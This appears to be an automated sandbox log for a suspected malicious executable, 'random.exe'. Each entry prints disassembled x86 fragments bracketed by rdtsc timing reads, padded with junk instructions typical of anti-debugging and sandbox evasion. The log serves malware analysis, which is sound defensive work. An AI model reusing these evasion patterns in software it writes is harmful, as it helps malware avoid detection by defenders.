Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1137F76 second address: 1137F87 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC1BC5023A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 113C5D0 second address: 113C5ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC1BCECC582h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 113C5ED second address: 113C5F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 113C02E second address: 113C033 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 113C033 second address: 113C040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11449E6 second address: 11449EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11449EA second address: 1144A1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BC5023B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FC1BC5023B5h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11495AE second address: 11495CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FC1BCECC576h 0x0000000a jmp 00007FC1BCECC583h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 114B703 second address: 114B764 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC1BC5023A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FC1BC5023B5h 0x00000010 push eax 0x00000011 pop eax 0x00000012 jmp 00007FC1BC5023B6h 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c jmp 00007FC1BC5023B7h 0x00000021 jnc 00007FC1BC5023A6h 0x00000027 jnl 00007FC1BC5023A6h 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 114F26D second address: 114F289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC1BCECC588h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 114F289 second address: 114F29C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC1BC5023A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jl 00007FC1BC5023A6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 114F29C second address: 114F2AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007FC1BCECC576h 0x0000000d jng 00007FC1BCECC576h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 114F2AF second address: 114F2CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC1BC5023B3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1156323 second address: 1156330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007FC1BCECC576h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1156330 second address: 1156348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jbe 00007FC1BC5023A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC1BC5023AAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1156348 second address: 1156372 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC585h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC1BCECC57Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11564AF second address: 11564CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC1BC5023B9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11564CD second address: 11564D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FC1BCECC576h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11564D7 second address: 11564DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11564DB second address: 11564ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007FC1BCECC576h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11567D5 second address: 11567D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11576F6 second address: 11576FB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 115B3AB second address: 115B3AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1164FC5 second address: 1164FCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1179D76 second address: 1179D7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1179D7C second address: 1179D80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1179A64 second address: 1179A72 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC1BC5023A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1179A72 second address: 1179A8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC1BCECC587h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1179A8D second address: 1179A91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1179A91 second address: 1179AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007FC1BCECC576h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11908F7 second address: 1190915 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FC1BC5023B8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1190915 second address: 1190926 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FC1BCECC57Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1190926 second address: 119092A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1194D10 second address: 1194D33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC1BCECC588h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 119528B second address: 119528F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 119528F second address: 11952D2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC1BCECC576h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov dword ptr [esp], eax 0x0000000e sub dword ptr [ebp+122D1B92h], ebx 0x00000014 push dword ptr [ebp+122D36BDh] 0x0000001a xor edx, dword ptr [ebp+122D1C40h] 0x00000020 call 00007FC1BCECC579h 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FC1BCECC588h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11952D2 second address: 11952E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC1BC5023B1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11952E7 second address: 1195327 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FC1BCECC581h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ecx 0x00000013 jmp 00007FC1BCECC589h 0x00000018 pop ecx 0x00000019 mov eax, dword ptr [eax] 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1195327 second address: 119532B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 119532B second address: 1195352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FC1BCECC584h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11966B0 second address: 11966B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11966B4 second address: 11966D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FC1BCECC578h 0x0000000c jmp 00007FC1BCECC57Ah 0x00000011 jp 00007FC1BCECC57Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11966D4 second address: 11966E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007FC1BC5023C0h 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1197F43 second address: 1197F4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FC1BCECC576h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1197F4F second address: 1197F72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BC5023B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC1BC5023ADh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1197F72 second address: 1197F81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jnl 00007FC1BCECC576h 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1199EA6 second address: 1199EC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FC1BC5023B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B595E second address: 10B5968 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FC1BCECC576h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 581088A second address: 5810961 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 mov bh, 87h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FC1BC5023B8h 0x00000012 sbb si, 4978h 0x00000017 jmp 00007FC1BC5023ABh 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007FC1BC5023B8h 0x00000023 and ecx, 0A11E3D8h 0x00000029 jmp 00007FC1BC5023ABh 0x0000002e popfd 0x0000002f popad 0x00000030 push eax 0x00000031 jmp 00007FC1BC5023B9h 0x00000036 xchg eax, ebp 0x00000037 jmp 00007FC1BC5023AEh 0x0000003c mov ebp, esp 0x0000003e jmp 00007FC1BC5023B0h 0x00000043 xchg eax, ecx 0x00000044 jmp 00007FC1BC5023B0h 0x00000049 push eax 0x0000004a pushad 0x0000004b jmp 00007FC1BC5023ACh 0x00000050 popad 0x00000051 xchg eax, ecx 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007FC1BC5023B7h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810961 second address: 58109A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC589h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FC1BCECC57Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 call 00007FC1BCECC57Ch 0x00000018 pop ecx 0x00000019 mov bx, 33A6h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 58109A3 second address: 58109A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 58109A9 second address: 5810A14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FC1BCECC580h 0x00000010 or ax, 1148h 0x00000015 jmp 00007FC1BCECC57Bh 0x0000001a popfd 0x0000001b mov di, cx 0x0000001e popad 0x0000001f lea eax, dword ptr [ebp-04h] 0x00000022 jmp 00007FC1BCECC582h 0x00000027 nop 0x00000028 pushad 0x00000029 mov bl, cl 0x0000002b push edi 0x0000002c call 00007FC1BCECC586h 0x00000031 pop ecx 0x00000032 pop edi 0x00000033 popad 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 mov bx, cx 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810A14 second address: 5810A19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810A19 second address: 5810A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, 3D54E14Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC1BCECC57Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810A37 second address: 5810A92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BC5023B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FC1BC5023B3h 0x00000015 or si, 990Eh 0x0000001a jmp 00007FC1BC5023B9h 0x0000001f popfd 0x00000020 mov ax, C617h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810A92 second address: 5810AAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC1BCECC588h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810B30 second address: 5810B36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810B36 second address: 5810B90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC57Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, esi 0x0000000d pushad 0x0000000e mov cx, 684Dh 0x00000012 pushfd 0x00000013 jmp 00007FC1BCECC57Ah 0x00000018 sbb ecx, 65FB3B68h 0x0000001e jmp 00007FC1BCECC57Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop esi 0x00000026 pushad 0x00000027 mov ecx, 6D5C307Bh 0x0000002c popad 0x0000002d leave 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FC1BCECC588h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810B90 second address: 5800298 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC1BC5023B1h 0x00000009 xor si, 46E6h 0x0000000e jmp 00007FC1BC5023B1h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 retn 0004h 0x0000001c nop 0x0000001d sub esp, 04h 0x00000020 xor ebx, ebx 0x00000022 cmp eax, 00000000h 0x00000025 je 00007FC1BC502538h 0x0000002b mov dword ptr [esp], 0000000Dh 0x00000032 call 00007FC1C0E25A73h 0x00000037 mov edi, edi 0x00000039 jmp 00007FC1BC5023AAh 0x0000003e xchg eax, ebp 0x0000003f pushad 0x00000040 mov di, cx 0x00000043 mov bl, al 0x00000045 popad 0x00000046 push eax 0x00000047 pushad 0x00000048 pushad 0x00000049 pushfd 0x0000004a jmp 00007FC1BC5023B0h 0x0000004f adc ecx, 5B6F0678h 0x00000055 jmp 00007FC1BC5023ABh 0x0000005a popfd 0x0000005b popad 0x0000005c mov si, dx 0x0000005f popad 0x00000060 xchg eax, ebp 0x00000061 jmp 00007FC1BC5023B1h 0x00000066 mov ebp, esp 0x00000068 jmp 00007FC1BC5023AEh 0x0000006d sub esp, 2Ch 0x00000070 push eax 0x00000071 push edx 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5800298 second address: 580029C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 580029C second address: 58002A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 58002A2 second address: 58002F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b pushad 0x0000000c mov edx, esi 0x0000000e mov cx, E18Bh 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 mov cx, bx 0x00000018 pushfd 0x00000019 jmp 00007FC1BCECC583h 0x0000001e xor ax, A5AEh 0x00000023 jmp 00007FC1BCECC589h 0x00000028 popfd 0x00000029 popad 0x0000002a xchg eax, ebx 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e mov di, si 0x00000031 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 58002F5 second address: 58002F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 580037F second address: 5800383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5800383 second address: 5800387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5800387 second address: 580038D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 580038D second address: 5800457 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, ecx 0x00000005 jmp 00007FC1BC5023B4h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d sub ebx, ebx 0x0000000f jmp 00007FC1BC5023B1h 0x00000014 sub edi, edi 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FC1BC5023ADh 0x0000001d sub eax, 5DFAE4C6h 0x00000023 jmp 00007FC1BC5023B1h 0x00000028 popfd 0x00000029 call 00007FC1BC5023B0h 0x0000002e pushfd 0x0000002f jmp 00007FC1BC5023B2h 0x00000034 sbb si, F898h 0x00000039 jmp 00007FC1BC5023ABh 0x0000003e popfd 0x0000003f pop esi 0x00000040 popad 0x00000041 inc ebx 0x00000042 pushad 0x00000043 push edx 0x00000044 pushfd 0x00000045 jmp 00007FC1BC5023B0h 0x0000004a sub esi, 1EF5A2F8h 0x00000050 jmp 00007FC1BC5023ABh 0x00000055 popfd 0x00000056 pop ecx 0x00000057 mov esi, edi 0x00000059 popad 0x0000005a test al, al 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007FC1BC5023AEh 0x00000063 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5800457 second address: 580048A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 pushfd 0x00000007 jmp 00007FC1BCECC57Ah 0x0000000c or ah, FFFFFF88h 0x0000000f jmp 00007FC1BCECC57Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 je 00007FC1BCECC816h 0x0000001e pushad 0x0000001f push ecx 0x00000020 movsx edx, ax 0x00000023 pop eax 0x00000024 push eax 0x00000025 push edx 0x00000026 mov esi, edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 580048A second address: 58004DE instructions: 0x00000000 rdtsc 0x00000002 mov esi, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 lea ecx, dword ptr [ebp-14h] 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FC1BC5023B7h 0x00000011 add eax, 6163262Eh 0x00000017 jmp 00007FC1BC5023B9h 0x0000001c popfd 0x0000001d push eax 0x0000001e push edx 0x0000001f call 00007FC1BC5023AEh 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5800554 second address: 5800558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5800558 second address: 5800574 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BC5023B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5800574 second address: 5800579 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 58005D0 second address: 58005D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 58005D4 second address: 58005DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 58005DA second address: 58005E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 58005E0 second address: 58006F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC57Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test eax, eax 0x0000000d jmp 00007FC1BCECC580h 0x00000012 jg 00007FC22D71A3FCh 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FC1BCECC57Eh 0x0000001f and si, 76A8h 0x00000024 jmp 00007FC1BCECC57Bh 0x00000029 popfd 0x0000002a call 00007FC1BCECC588h 0x0000002f jmp 00007FC1BCECC582h 0x00000034 pop eax 0x00000035 popad 0x00000036 js 00007FC1BCECC637h 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007FC1BCECC587h 0x00000043 xor ax, C1FEh 0x00000048 jmp 00007FC1BCECC589h 0x0000004d popfd 0x0000004e mov esi, 1A2C5647h 0x00000053 popad 0x00000054 cmp dword ptr [ebp-14h], edi 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a pushfd 0x0000005b jmp 00007FC1BCECC57Fh 0x00000060 jmp 00007FC1BCECC583h 0x00000065 popfd 0x00000066 pushfd 0x00000067 jmp 00007FC1BCECC588h 0x0000006c jmp 00007FC1BCECC585h 0x00000071 popfd 0x00000072 popad 0x00000073 rdtsc
